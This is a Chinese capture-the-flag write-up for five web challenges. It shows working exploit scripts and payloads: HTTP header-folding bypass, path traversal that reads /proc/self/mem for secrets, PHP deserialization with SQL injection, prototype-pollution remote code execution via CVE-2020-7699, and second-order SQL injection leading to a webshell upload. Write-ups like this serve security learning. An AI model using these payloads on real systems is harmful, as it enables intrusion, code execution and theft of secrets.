ez_curl 考点:
nodejs的parameterLimit1000个限制
RFC 7230,header字段可以通过在每一行前面至少加一个SP(空格)或HT(制表)来扩展到多行,node正好支持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const express = require ('express' );const app = express ();const port = 3000 ;const flag = process.env .flag ;app.get ('/flag' , (req, res ) => { if (!req.query .admin .includes ('false' ) && req.headers .admin .includes ('true' )){ res.send (flag); }else { res.send ('try hard' ); } }); app.listen ({ port : port , host : '0.0.0.0' });
向flag路由发包,获取flag有两个条件:
请求参数admin不能包括false
请求包的请求头的admin键的值要包含true
php代码:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );$url = 'http://back-end:3000/flag?' ;$input = file_get_contents ('php://input' );$headers = (array )json_decode ($input )->headers;for ($i = 0 ; $i < count ($headers ); $i ++){ $offset = stripos ($headers [$i ], ':' ); $key = substr ($headers [$i ], 0 , $offset ); $value = substr ($headers [$i ], $offset + 1 ); if (stripos ($key , 'admin' ) > -1 && stripos ($value , 'true' ) > -1 ){ die ('try hard' ); } } $params = (array )json_decode ($input )->params;$url .= http_build_query ($params );$url .= '&admin=false' ;$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url );curl_setopt ($ch , CURLOPT_HTTPHEADER, $headers );curl_setopt ($ch , CURLOPT_TIMEOUT_MS, 5000 );curl_setopt ($ch , CURLOPT_NOBODY, FALSE );$result = curl_exec ($ch );curl_close ($ch );echo $result ;
为了让它通过后面的:检测分割,传入的json字符串格式应该是这样的1 {"headers": ["admin:true","test:truetest"]}
这里需要绕过两个:
第一个是headers里面的admin做了检测
第二个是params里面加了一个&admin=false
headers的绕过利用的是header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行 eg1 {"headers": ["admin: ha"," true: haha"]}
curl生成的headers
nodejs解析1 2 3 { "admin": "ha true haha" }
从而绕过
payload:1 2 3 4 5 6 7 8 data='{"headers":["admin: ha",\n" true: haha"],"params":{"admin":"xixi",' print (data)for i in range (2 ,1001 ): if i==1000 : print (f'"{i} ":"whatever"' ) else : print (f'"{i} ":"whatever",' ) print ("}\n}" )
catcat-new
考点:任意文件读取读/proc/self/mem内存信息(secret-key,flag),通过/maps获取地址偏移 任意文件读取读源码../app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import osimport uuidfrom flask import Flask, request, session, render_template, Markupfrom cat import catflag = "" app = Flask( __name__, static_url_path='/' , static_folder='static' ) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh" if os.path.isfile("/flag" ): flag = cat("/flag" ) os.remove("/flag" ) @app.route('/' , methods=['GET' ] ) def index (): detailtxt = os.listdir('./details/' ) cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.' )]) return render_template("index.html" , cats_list=cats_list, cat=cat) @app.route('/info' , methods=["GET" , 'POST' ] ) def info (): filename = "./details/" + request.args.get('file' , "" ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )] return render_template("detail.html" , catname=name, info=cat(filename, start, end)) @app.route('/admin' , methods=["GET" ] ) def admin_can_list_root (): if session.get('admin' ) == 1 : return flag else : session['admin' ] = 0 return "NoNoNo" if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=5637 )
一开始以为要爆破secret-key 后来发现这题的考点是通过读取/proc/self/mem
来得到secret_key,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import reimport requestsurl='http://61.147.171.105:63921/' s_key = "" bypass = "../.." map_list = requests.get(url + f"info?file={bypass} /proc/self/maps" ) map_list = map_list.text.split("\\n" ) for i in map_list: map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i) if map_addr: start = int (map_addr.group(1 ), 16 ) end = int (map_addr.group(2 ), 16 ) print ("Found rw addr:" , start, "-" , end) res = requests.get(f"{url} /info?file={bypass} /proc/self/mem&start={start} &end={end} " ) if "*abcdefgh" in res.text: secret_key = re.findall("[a-z0-9]{32}\*abcdefgh" , res.text) if secret_key: print ("Secret Key:" , secret_key[0 ]) s_key = secret_key[0 ] break
得到secret-key:1 541493e8c3a24ad4965e23027d21588c*abcdefgh
伪造: 这里不知道为什么伪造失效了,题目环境应该出了点问题 还有个方法直接通过读/proc/self/mem来读flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport rebaseUrl = "http://61.147.171.105:54125/info?file=../../../../.." if __name__ == "__main__" : url = baseUrl + "/proc/self/maps" memInfoList = requests.get(url).text.split("\\n" ) mem = "" for i in memInfoList: memAddress = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i) if memAddress: start = int (memAddress.group(1 ), 16 ) end = int (memAddress.group(2 ), 16 ) infoUrl = baseUrl + "/proc/self/mem&start=" + str (start) + "&end=" + str (end) mem = requests.get(infoUrl).text if re.findall(r"{[\w]+}" , mem): print (re.findall(r"\w+{\w+}" , mem))
题目名称-warmup 下载下来有三个php文件: index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 <!doctype html> <html> <head> <meta charset="utf-8" > <title>平平无奇的登陆界面</title> </head> <style type="text/css" > body { margin: 0 ; padding: 0 ; font-family: sans-serif; background: url ("static/background.jpg" ); background-size: cover; } .box { position: absolute; top: 50 %; left: 50 %; transform: translate (-50 %, -50 %); width: 400 px; padding: 40 px; background: rgba (0 , 0 , 0 , .8 ); box-sizing: border-box; box-shadow: 0 15 px 25 px rgba (0 , 0 , 0 , .5 ); border-radius: 10 px; } .box h2 { margin: 0 0 30 px; padding: 0 ; color: text-align: center; } .box .inputBox { position: relative; } .box .inputBox input { width: 100 %; padding: 10 px 0 ; font-size: 16 px; color: letter-spacing: 1 px; margin-bottom: 30 px; border: none; border-bottom: 1 px solid outline: none; background: transparent; } .box .inputBox label { position: absolute; top: 0 ; left: 0 ; padding: 10 px 0 ; font-size: 16 px; color: pointer-events: none; transition: .5 s; } .box .inputBox input:focus~label, .box .inputBox input:valid~label { top: -18 px; left: 0 ; color: font-size: 12 px; } .box input[type="submit" ] { background: transparent; border: none; outline: none; color: background: padding: 10 px 20 px; cursor: pointer; border-radius: 5 px; } </style> <body> <div class ="box "> <h2 >请登录</h2 > <form method ="post " action ="index .php "> <div class ="inputBox "> <input type ="text " name ="username " required =""> <label >用户名</label > </div > <div class ="inputBox "> <input type ="password " name ="password " required =""> <label >密码</label > </div > <input type ="submit " name ="" value ="登录"> </form > </div > </body > </html > <?php include 'conn .php ';include 'flag .php ';if (isset ($_COOKIE ['last_login_info '])) { $last_login_info = unserialize (base64_decode ($_COOKIE ['last_login_info' ])); try { if (is_array ($last_login_info ) && $last_login_info ['ip' ] != $_SERVER ['REMOTE_ADDR' ]) { die ('WAF info: your ip status has been changed, you are dangrous.' ); } } catch (Exception $e ) { die ('Error' ); } } else { $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER ['REMOTE_ADDR' ]))) ; setcookie ('last_login_info' , $cookie , time () + (86400 * 30 )); } if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])){ $table = 'users' ; $username = addslashes ($_POST ['username' ]); $password = addslashes ($_POST ['password' ]); $sql = new SQL (); $sql ->connect (); $sql ->table = $table ; $sql ->username = $username ; $sql ->password = $password ; $sql ->check_login (); } ?>
cookie的last_login_info
字段可以传入值来反序列化
conn.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php include 'flag.php' ; class SQL { public $table = '' ; public $username = '' ; public $password = '' ; public $conn ; public function __construct ( ) { } public function connect ( ) { $this ->conn = new mysqli ("localhost" , "xxxxx" , "xxxx" , "xxxx" ); } public function check_login ( ) { $result = $this ->query (); if ($result === false ) { die ("database error, please check your input" ); } $row = $result ->fetch_assoc (); if ($row === NULL ){ die ("username or password incorrect!" ); }else if ($row ['username' ] === 'admin' ){ $flag = file_get_contents ('flag.php' ); echo "welcome, admin! this is your flag -> " .$flag ; }else { echo "welcome! but you are not admin" ; } $result ->free (); } public function query ( ) { $this ->waf (); return $this ->conn->query ("select username,password from " .$this ->table." where username='" .$this ->username."' and password='" .$this ->password."'" ); } public function waf ( ) { $blacklist = ["union" , "join" , "!" , "\"" , "#" , "$" , "%" , "&" , "." , "/" , ":" , ";" , "^" , "_" , "`" , "{" , "|" , "}" , "<" , ">" , "?" , "@" , "[" , "\\" , "]" , "*" , "+" , "-" ]; foreach ($blacklist as $value ) { if (strripos ($this ->table, $value )){ die ('bad hacker,go out!' ); } } foreach ($blacklist as $value ) { if (strripos ($this ->username, $value )){ die ('bad hacker,go out!' ); } } foreach ($blacklist as $value ) { if (strripos ($this ->password, $value )){ die ('bad hacker,go out!' ); } } } public function __wakeup ( ) { if (!isset ($this ->conn)) { $this ->connect (); } if ($this ->table){ $this ->waf (); } $this ->check_login (); $this ->conn->close (); } } ?>
这里可以看到sql查询语句只要用户名是admin就可以输出flag的值
而ip.php
1 2 <?php echo $_SERVER ['REMOTE_ADDR' ];
就算来告诉你你的ip是多少的
官方: 正常官方的wp是绕过ip的限制和用子查询来造成SQL查询语句为真(并且用户名是admin)来输出flag的
1 2 3 4 5 6 7 8 9 10 11 <?php class SQL {public $table = '(select \'admin\' username,\'123\' password)a' ;public $username = 'admin' ;public $password = '123' ;} var_dump (base64_encode (serialize (array ('ip' => '182.150.122.62' ,'sql' => new SQL (),))));
这里SQL语句:
1 select username,password from (select 'admin' username,'123' password) where username=admin and password=123;
生成了一个临时的虚拟表:
1 2 username password admin 123
where语句使得查询语句为真,username又是admin刚好符合输出flag的条件
非预期 这里ip其实可以不用绕过,我们构造的类只有一个不是数组就行 比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class SQL { public $table = '' ; public $username = '' ; public $password = '' ; public $conn ; public function __construct ( ) { $this ->table='(select \'admin\' username,\'123\' password)a' ; $this ->username='admin' ; $this ->password='123' ; } } $a =new SQL ();echo serialize ($a );echo "\n" ;echo base64_encode (serialize ($a ));?>
又或者不用子查询,直接万能密码绕过,因为这里黑名单没有过滤单引号,而他的SQL语句又是单引号拼接的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class SQL { public $table = '' ; public $username = '' ; public $password = '' ; public $conn ; public function __construct ( ) { $this ->table='users' ; $this ->username='admin' ; $this ->password="'or '1'='1" ; } } $a =new SQL ();echo serialize ($a );echo "\n" ;echo base64_encode (serialize ($a ));?>
BadProgrammer 页面一些东西都点不了,这里dirsearch扫目录只扫出来一个static文件夹 抓包看到X-Powered-By: Express
,看了别人的wp发现利用的nginx配置错误
1 http://61.147.171.105:53853/static../
从而可以列出文件目录
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const express = require ('express' );const fileUpload = require ('express-fileupload' );const app = express ();app.use (fileUpload ({ parseNested : true })); app.post ('/4_pATh_y0u_CaNN07_Gu3ss' , (req, res ) => { res.render ('flag.ejs' ); }); app.get ('/' , (req, res ) => { res.render ('index.ejs' ); }) app.listen (3000 ); app.on ('listening' , function ( ) { console .log ('Express server started on port %s at %s' , server.address ().port , server.address ().address ); });
我们在package.json里看到了
我们搜一下express-fileupload 1.1.7-alpha.4就看到了一个CVE-2020-7699
这里看懂原理但是构造的payload没打出来,看了别人的wp发现:
1 2 3 4 5 6 7 8 9 import requestsurl='http://61.147.171.105:53853/4_pATh_y0u_CaNN07_Gu3ss' files={ '__proto__.outputFunctionName' : (None ,"x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag1.txt');x" ) } res=requests.post(url=url,files=files)
filemanager 考点:update二次注入 首先信息搜集,dirsearch扫一下 /www.tar.gz得到源码,我们重点看upload.php和rename.php upload.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php require_once "common.inc.php" ;if ($_FILES ) { $file = $_FILES ["upfile" ]; if ($file ["error" ] == UPLOAD_ERR_OK) { $name = basename ($file ["name" ]); $path_parts = pathinfo ($name ); if (!in_array ($path_parts ["extension" ], array ("gif" , "jpg" , "png" , "zip" , "txt" ))) { exit ("error extension" ); } $path_parts ["extension" ] = "." . $path_parts ["extension" ]; $name = $path_parts ["filename" ] . $path_parts ["extension" ]; $path_parts ['filename' ] = addslashes ($path_parts ['filename' ]); $sql = "select * from `file` where `filename`='{$path_parts['filename']} ' and `extension`='{$path_parts['extension']} '" ; $fetch = $db ->query ($sql ); if ($fetch ->num_rows > 0 ) { exit ("file is exists" ); } if (move_uploaded_file ($file ["tmp_name" ], UPLOAD_DIR . $name )) { $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']} ', 0, '{$path_parts['extension']} ')" ; $re = $db ->query ($sql ); if (!$re ) { print_r ($db ->error); exit ; } $url = "/" . UPLOAD_DIR . $name ; echo "Your file is upload, url: <a href=\"{$url} \" target='_blank'>{$url} </a><br/> <a href=\"/\">go back</a>" ; } else { exit ("upload error" ); } } else { print_r (error_get_last ()); exit ; } }
主要功能是对上传的文件的文件名进入处理,先隔开扩展名匹配一下白名单,然后分开filename和extension插入file表里,其中还有一些检验,比如检查文件是否已经存在,filename做了转义函数处理
rename.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php require_once "common.inc.php" ;if (isset ($req ['oldname' ]) && isset ($req ['newname' ])) { $result = $db ->query ("select * from `file` where `filename`='{$req['oldname']} '" ); if ($result ->num_rows > 0 ) { $result = $result ->fetch_assoc (); } else { exit ("old file doesn't exists!" ); } if ($result ) { $req ['newname' ] = basename ($req ['newname' ]); $re = $db ->query ("update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " ); if (!$re ) { print_r ($db ->error); exit ; } $oldname = UPLOAD_DIR . $result ["filename" ] . $result ["extension" ]; $newname = UPLOAD_DIR . $req ["newname" ] . $result ["extension" ]; if (file_exists ($oldname )) { rename ($oldname , $newname ); } $url = "/" . $newname ; echo "Your file is rename, url: <a href=\"{$url} \" target='_blank'>{$url} </a><br/> <a href=\"/\">go back</a>" ; } } ?> <!DOCTYPE html> <html> <head> <title>file manage</title> <base href="/" > <meta charset="utf-8" /> </head> <h3>Rename</h3> <body> <form method="post" > <p> <span>old filename (exclude extension):</span> <input type="text" name="oldname" > </p> <p> <span>new filename (exclude extension):</span> <input type="text" name="newname" > </p> <p> <input type="submit" value="rename" > </p> </form> </body> </html>
这里SQL语句还是单引号直接拼接的,主要功能是先检查要修改的文件名是否已经存在,然后修改file表对应行数据的两个字段的值,newname是我们传入的,oldname是数据库里面的(和我们传入的filename做了select查询的结果)
思路: 我们肯定是要把白名单后缀的文件改成php后缀的文件的,但是这里创建了一个file表把每个文件的文件名和后缀的数据给分开存储起来了,我们就算运行rename.php也只能修改文件名,文件后缀还是不变的,因此我们需要利用SQL语句的拼接闭合来完成
1 update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
这里可以控制oldname的值来让extension为空,比如',extension='
, 但是这里重命名文件会检查文件是否存在if (file_exists($oldname))
我们可以通过上传一个同名文件绕过
先上传',extension='.txt
,内容随便写,此时file表的filename是',extension='
,extension是txt 然后修改文件名:
此时本来新文件名是test.txt,后缀是txt,经过update语句,==file表中filename是test.txt,extension为空,oldname也是空==
oldname和newname值不一样,$oldname
是’,extension=’.txt,而newname是test.txt.txt,此时php文件系统路径是test.txt.txt
此时上传一个test.txt,内容就是一句话木马
最后把test.txt改为test.php,因为extension已经是空了 ==这里的关键是if的绕过,$result["filename"]=test.txt
,,$result["extension"]=空
,而$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
,这里本来文件系统路径是test.txt.txt的我们这里是test.txt是无法rename()的但是我们后来上传了一个test.txt从而让if语句为真,成功重命名为test.php==
此时oldname是test.txt,newname是test.php,extension是空